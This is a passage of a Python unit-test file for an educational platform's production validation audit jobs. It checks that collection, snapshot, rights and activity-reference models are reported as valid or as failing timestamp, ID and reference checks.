prod_validation_jobs_one_off.BaseSummaryModelValidator): @classmethod def _get_external_id_relationships(cls, item): return {} class MockSnapshotContentModelValidator( prod_validation_jobs_one_off.BaseSnapshotContentModelValidator): @classmethod def _get_external_id_relationships(cls, item): return {} class MockSnapshotMetadataModelValidator( prod_validation_jobs_one_off.BaseSnapshotMetadataModelValidator): EXTERNAL_MODEL_NAME = 'external model' @classmethod def _get_external_id_relationships(cls, item): return { 'external_model_ids': (MockModel, []) } class NotImplementedErrorTests(test_utils.GenericTestBase): def setUp(self): super(NotImplementedErrorTests, self).setUp() self.item = MockModel(id='mockmodel') self.item.put() def test_error_is_raised_if_fetch_external_properties_is_undefined(self): with self.assertRaises(NotImplementedError): MockBaseModelValidator().validate(self.item) def test_error_is_get_external_model_properties_is_undefined(self): with self.assertRaises(NotImplementedError): MockSummaryModelValidator().validate(self.item) def test_error_is_raised_if_external_model_name_is_undefined(self): with self.assertRaisesRegexp( Exception, 'External model name should be specified'): MockSnapshotContentModelValidator().validate(self.item) def test_error_is_raised_if_get_change_domain_class_is_undefined(self): with self.assertRaises(NotImplementedError): snapshot_model = MockSnapshotModel(id='mockmodel') snapshot_model.put() MockSnapshotMetadataModelValidator().validate(snapshot_model) def test_error_is_raised_if_entity_classes_to_map_over_is_undefined(self): job_class = prod_validation_jobs_one_off.ProdValidationAuditOneOffJob with self.assertRaises(NotImplementedError), self.swap( jobs_registry, 'ONE_OFF_JOB_MANAGERS', [job_class]): job_id = job_class.create_new() job_class.enqueue(job_id) self.process_and_flush_pending_tasks() class ActivityReferencesModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ActivityReferencesModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) exploration = exp_domain.Exploration.create_default_exploration( '1exp', title='title', category='category') exp_services.save_new_exploration(self.owner_id, exploration) collection = collection_domain.Collection.create_default_collection( '1col', title='title', category='category') collection_services.save_new_collection(self.owner_id, collection) self.model_instance = ( activity_models.ActivityReferencesModel.get_or_create('featured')) self.model_instance.activity_references = [{ 'type': constants.ACTIVITY_TYPE_EXPLORATION, 'id': '1exp', }, { 'type': constants.ACTIVITY_TYPE_COLLECTION, 'id': '1col', }] self.model_instance.put() self.job_class = ( prod_validation_jobs_one_off.ActivityReferencesModelAuditOneOffJob) def test_standard_model(self): expected_output = [u'[u\'fully-validated ActivityReferencesModel\', 1]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ActivityReferencesModel\', ' '[u\'Entity id featured: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.created_on, self.model_instance.last_updated )] run_job_and_check_output(self, expected_output) def test_model_with_last_updated_greater_than_current_time(self): expected_output = [( u'[u\'failed validation check for current time check of ' 'ActivityReferencesModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_missing_id_in_activity_references(self): self.model_instance.activity_references = [{ 'type': 'exploration', }] self.model_instance.put() expected_output = [( u'[u\'failed validation check for fetch properties of ' 'ActivityReferencesModel\', ' '[u"Entity id featured: Entity properties cannot be fetched ' 'completely with the error \'id\'"]]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_type_in_activity_references(self): self.model_instance.activity_references = [{ 'type': 'invalid_type', 'id': '0' }] self.model_instance.put() expected_output = [( u'[u\'failed validation check for domain object check of ' 'ActivityReferencesModel\', ' '[u\'Entity id featured: Entity fails domain validation with the ' 'error Invalid activity type: invalid_type\']]')] run_job_and_check_output(self, expected_output) def test_model_with_invalid_id_in_activity_references(self): self.model_instance.activity_references = [{ 'type': 'exploration', 'id': '1col' }] self.model_instance.put() expected_output = [( u'[u\'failed validation check for exploration_ids field check of ' 'ActivityReferencesModel\', ' '[u"Entity id featured: based on field exploration_ids having ' 'value 1col, expect model ExplorationModel with id 1col but ' 'it doesn\'t exist"]]')] run_job_and_check_output(self, expected_output) def test_mock_model_with_invalid_id(self): model_instance_with_invalid_id = ( activity_models.ActivityReferencesModel(id='invalid')) model_instance_with_invalid_id.put() expected_output = [( u'[u\'fully-validated ActivityReferencesModel\', 1]' ), ( u'[u\'failed validation check for model id check of ' 'ActivityReferencesModel\', ' '[u\'Entity id invalid: Entity id does not match regex pattern\']]' )] run_job_and_check_output(self, expected_output, sort=True) class RoleQueryAuditModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(RoleQueryAuditModelValidatorTests, self).setUp() self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) admin_model = user_models.UserSettingsModel.get_by_id(self.admin_id) admin_model.role = feconf.ROLE_ID_ADMIN admin_model.put() model_id = '%s.%s.%s.%s' % ( self.admin_id, int(math.floor(time.time())), feconf.ROLE_ACTION_UPDATE, random.randint(0, 1000)) self.model_instance = audit_models.RoleQueryAuditModel( id=model_id, user_id=self.admin_id, intent=feconf.ROLE_ACTION_UPDATE, role='c', username='d') self.model_instance.put() self.job_class = ( prod_validation_jobs_one_off.RoleQueryAuditModelAuditOneOffJob) def test_standard_model(self): expected_output = [u'[u\'fully-validated RoleQueryAuditModel\', 1]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of RoleQueryAuditModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated )] run_job_and_check_output(self, expected_output) def test_model_with_last_updated_greater_than_current_time(self): expected_output = [( u'[u\'failed validation check for current time check of ' 'RoleQueryAuditModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_non_existent_user_id(self): user_models.UserSettingsModel.get(self.admin_id).delete() expected_output = [( u'[u\'failed validation check for user_ids field check of ' 'RoleQueryAuditModel\', ' '[u"Entity id %s: based on field user_ids having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.admin_id, self.admin_id)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_id(self): model_invalid_id = '%s.%s.%s.%s' % ( 'a', int(math.floor(time.time())), feconf.ROLE_ACTION_UPDATE, random.randint(0, 1000)) model_instance_with_invalid_id = audit_models.RoleQueryAuditModel( id=model_invalid_id, user_id=self.admin_id, intent=feconf.ROLE_ACTION_UPDATE, role='c', username='d') model_instance_with_invalid_id.put() expected_output = [( u'[u\'fully-validated RoleQueryAuditModel\', 1]' ), ( u'[u\'failed validation check for model id check of ' 'RoleQueryAuditModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % model_invalid_id] run_job_and_check_output(self, expected_output, sort=True) class CollectionModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(CollectionModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) language_codes = ['ar', 'en', 'en'] collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, language_code=language_codes[i] ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection_services.save_new_collection(self.owner_id, collection) self.model_instance_0 = collection_models.CollectionModel.get_by_id('0') self.model_instance_1 = collection_models.CollectionModel.get_by_id('1') self.model_instance_2 = collection_models.CollectionModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.CollectionModelAuditOneOffJob) def test_standard_operation(self): collection_services.update_collection( self.owner_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') expected_output = [ u'[u\'fully-validated CollectionModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of CollectionModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_collection_schema(self): expected_output = [ ( u'[u\'failed validation check for domain object check of ' 'CollectionModel\', ' '[u\'Entity id %s: Entity fails domain validation with the ' 'error Invalid language code: %s\']]' ) % (self.model_instance_0.id, self.model_instance_0.language_code), u'[u\'fully-validated CollectionModel\', 2]'] with self.swap( constants, 'ALL_LANGUAGE_CODES', [{ 'code': 'en', 'description': 'English'}]): run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('1').delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for ' 'exploration_ids field check of CollectionModel\', ' '[u"Entity id 0: based on field exploration_ids having value ' '1, expect model ExplorationModel ' 'with id 1 but it doesn\'t exist"]]' ), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_commit_log_entry_model_failure(self): collection_services.update_collection( self.owner_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') collection_models.CollectionCommitLogEntryModel.get_by_id( 'collection-0-1').delete() expected_output = [ ( u'[u\'failed validation check for ' 'collection_commit_log_entry_ids field check of ' 'CollectionModel\', ' '[u"Entity id 0: based on field ' 'collection_commit_log_entry_ids having value ' 'collection-0-1, expect model CollectionCommitLogEntryModel ' 'with id collection-0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_summary_model_failure(self): collection_models.CollectionSummaryModel.get_by_id('0').delete() expected_output = [ ( u'[u\'failed validation check for collection_summary_ids ' 'field check of CollectionModel\', ' '[u"Entity id 0: based on field collection_summary_ids ' 'having value 0, expect model CollectionSummaryModel with ' 'id 0 but it doesn\'t exist"]]'), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_rights_model_failure(self): collection_models.CollectionRightsModel.get_by_id( '0').delete(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for collection_rights_ids ' 'field check of CollectionModel\', ' '[u"Entity id 0: based on field collection_rights_ids having ' 'value 0, expect model CollectionRightsModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): collection_models.CollectionSnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of CollectionModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model CollectionSnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): collection_models.CollectionSnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of CollectionModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model CollectionSnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated CollectionModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class CollectionSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(CollectionSnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) if collection.id != '0': collection_services.save_new_collection( self.owner_id, collection) else: collection_services.save_new_collection( self.user_id, collection) self.model_instance_0 = ( collection_models.CollectionSnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( collection_models.CollectionSnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( collection_models.CollectionSnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .CollectionSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): collection_services.update_collection( self.owner_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') expected_output = [ u'[u\'fully-validated CollectionSnapshotMetadataModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'CollectionSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_models.CollectionModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for collection_ids ' 'field check of CollectionSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field collection_ids ' 'having value 0, expect model CollectionModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'collection_ids having value 0, expect model ' 'CollectionModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'CollectionSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of CollectionSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'CollectionSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_collection_version_in_model_id(self): model_with_invalid_version_in_id = ( collection_models.CollectionSnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for collection model ' 'version check of CollectionSnapshotMetadataModel\', ' '[u\'Entity id 0-3: Collection model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated CollectionSnapshotMetadataModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_collection_node', }, { 'cmd': 'delete_collection_node', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'delete_collection_node check of ' 'CollectionSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'delete_collection_node\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: ' 'exploration_id, The following extra attributes ' 'are present: invalid_attribute"]]' ), ( u'[u\'failed validation check for commit cmd ' 'add_collection_node check of ' 'CollectionSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'add_collection_node\'} failed ' 'with error: The following required attributes are ' 'missing: exploration_id"]]' ), u'[u\'fully-validated CollectionSnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class CollectionSnapshotContentModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(CollectionSnapshotContentModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection_services.save_new_collection(self.owner_id, collection) self.model_instance_0 = ( collection_models.CollectionSnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( collection_models.CollectionSnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( collection_models.CollectionSnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .CollectionSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): collection_services.update_collection( self.owner_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') expected_output = [ u'[u\'fully-validated CollectionSnapshotContentModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'CollectionSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_models.CollectionModel.get_by_id('0').delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for collection_ids ' 'field check of CollectionSnapshotContentModel\', ' '[u"Entity id 0-1: based on field collection_ids ' 'having value 0, expect model CollectionModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'collection_ids having value 0, expect model ' 'CollectionModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'CollectionSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_collection_version_in_model_id(self): model_with_invalid_version_in_id = ( collection_models.CollectionSnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for collection model ' 'version check of CollectionSnapshotContentModel\', ' '[u\'Entity id 0-3: Collection model corresponding to ' 'id 0 has a version 1 which is less than ' 'the version 3 in snapshot content model id\']]' ), ( u'[u\'fully-validated CollectionSnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class CollectionRightsModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(CollectionRightsModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) editor_email = 'user@editor.com' viewer_email = 'user@viewer.com' self.signup(editor_email, 'editor') self.signup(viewer_email, 'viewer') self.editor_id = self.get_user_id_from_email(editor_email) self.viewer_id = self.get_user_id_from_email(viewer_email) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection_services.save_new_collection(self.owner_id, collection) rights_manager.assign_role_for_collection( self.owner, '0', self.editor_id, rights_manager.ROLE_EDITOR) rights_manager.assign_role_for_collection( self.owner, '2', self.viewer_id, rights_manager.ROLE_VIEWER) self.model_instance_0 = ( collection_models.CollectionRightsModel.get_by_id('0')) self.model_instance_1 = ( collection_models.CollectionRightsModel.get_by_id('1')) self.model_instance_2 = ( collection_models.CollectionRightsModel.get_by_id('2')) self.job_class = ( prod_validation_jobs_one_off.CollectionRightsModelAuditOneOffJob) def test_standard_operation(self): rights_manager.publish_collection(self.owner, '0') expected_output = [ u'[u\'fully-validated CollectionRightsModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionRightsModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionRightsModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_first_published_datetime_than_current_time(self): rights_manager.publish_collection(self.owner, '0') rights_manager.publish_collection(self.owner, '1') self.model_instance_0.first_published_msec = ( self.model_instance_0.first_published_msec * 1000000.0) self.model_instance_0.commit(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for first published msec check ' 'of CollectionRightsModel\', ' '[u\'Entity id 0: The first_published_msec field has a ' 'value %s which is greater than the time when the job was ' 'run\']]' ) % (self.model_instance_0.first_published_msec), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_models.CollectionModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for collection_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 0: based on field collection_ids having ' 'value 0, expect model CollectionModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_owner_user_model_failure(self): rights_manager.assign_role_for_collection( self.owner, '0', self.user_id, rights_manager.ROLE_OWNER) user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for owner_user_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 0: based on field owner_user_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]') % (self.user_id, self.user_id), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_editor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.editor_id).delete() expected_output = [ ( u'[u\'failed validation check for editor_user_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 0: based on field editor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.editor_id, self.editor_id), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_viewer_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.viewer_id).delete() expected_output = [ ( u'[u\'failed validation check for viewer_user_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 2: based on field viewer_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.viewer_id, self.viewer_id), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): collection_models.CollectionRightsSnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model ' 'CollectionRightsSnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]' ), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): collection_models.CollectionRightsSnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model CollectionRightsSnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class CollectionRightsSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(CollectionRightsSnapshotMetadataModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) if collection.id != '0': collection_services.save_new_collection( self.owner_id, collection) else: collection_services.save_new_collection( self.user_id, collection) self.model_instance_0 = ( collection_models.CollectionRightsSnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( collection_models.CollectionRightsSnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( collection_models.CollectionRightsSnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .CollectionRightsSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated 